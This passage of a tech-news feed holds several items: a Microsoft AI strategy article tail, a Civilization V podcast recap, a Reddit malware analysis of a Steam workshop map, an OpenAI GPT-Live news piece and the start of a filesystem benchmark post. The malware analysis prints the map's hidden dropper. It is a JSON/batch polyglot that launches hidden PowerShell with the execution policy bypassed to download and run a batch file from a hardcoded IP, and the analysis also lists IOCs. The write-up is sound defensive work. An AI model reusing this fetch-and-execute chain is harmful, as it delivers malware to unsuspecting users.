href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[HPR4690: Playing Civilization V, Part 14]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my D...]]></description>
<link>https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</guid>
<pubDate>Fri, 24 Jul 2026 02:04:41 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.</p>

<h1>Playing Civilization V, Part 14</h1>

<p>Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.</p>

<p>At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.</p>

<p>I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.</p>

<p>This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.</p>

<h3>Links</h3>
<ul>
<li><a href="https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/">https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/</a></li>
</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4690/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Agentic coding goes hands free as OpenAI brings GPT-Live's full duplex voice control to Codex and ChatGPT on the desktop]]></title>
<description><![CDATA[Two weeks after debuting its more naturalistic GPT-Live audio AI model with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. The company announced that GPT-Live now powers the ChatGPT desktop application on macOS and Wind...]]></description>
<link>https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690348/it-nachrichten/agentic-coding-goes-hands-free-as-openai-brings-gpt-lives-full-duplex-voice-control-to-codex-and-chatgpt-on-the-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:20:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two weeks after debuting its <a href="https://venturebeat.com/technology/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person">more naturalistic GPT-Live audio AI model</a> with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. </p><p>The company announced that <a href="https://x.com/OpenAI/status/2080378182469857576">GPT-Live now powers the ChatGPT desktop application</a> on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app). </p><p>When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5. </p><p>Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.</p><p>As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for <a href="https://openai.com/index/codex-for-knowledge-work/">Codex's more than 5 million weekly active users</a>. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more <a href="https://venturebeat.com/technology/openai-drastically-updates-codex-desktop-app-to-use-all-other-apps-on-your-computer-generate-images-preview-webpages">general productivity platform. </a>An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop. </p><p>OpenAI posted a <a href="https://youtu.be/E0ZMOschrTU?si=WWc8fZ2o0UtxrDFk">promotional video</a> showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model. </p><div></div><h2><b>New capabilities unlocked</b></h2><p>At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.</p><p>While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models. </p><p>On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.</p><p>This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously. </p><p>Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free. </p><p>The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.</p><h2><b>Directing coding and complex builds with your voice alone</b></h2><p>The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments. </p><p>Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.</p><p>The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.</p><p>Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers. </p><p>With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.</p><h2><b>Proprietary license</b></h2><p>OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.</p><p>For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed. </p><p>Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.</p><h2><b>Community reactions</b></h2><p>Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows. </p><p>Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist <a href="https://x.com/ChrisGPT/status/2080375250139693293">@ChrisGPT noted on X</a>: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI". </p><p>Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.</p>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent 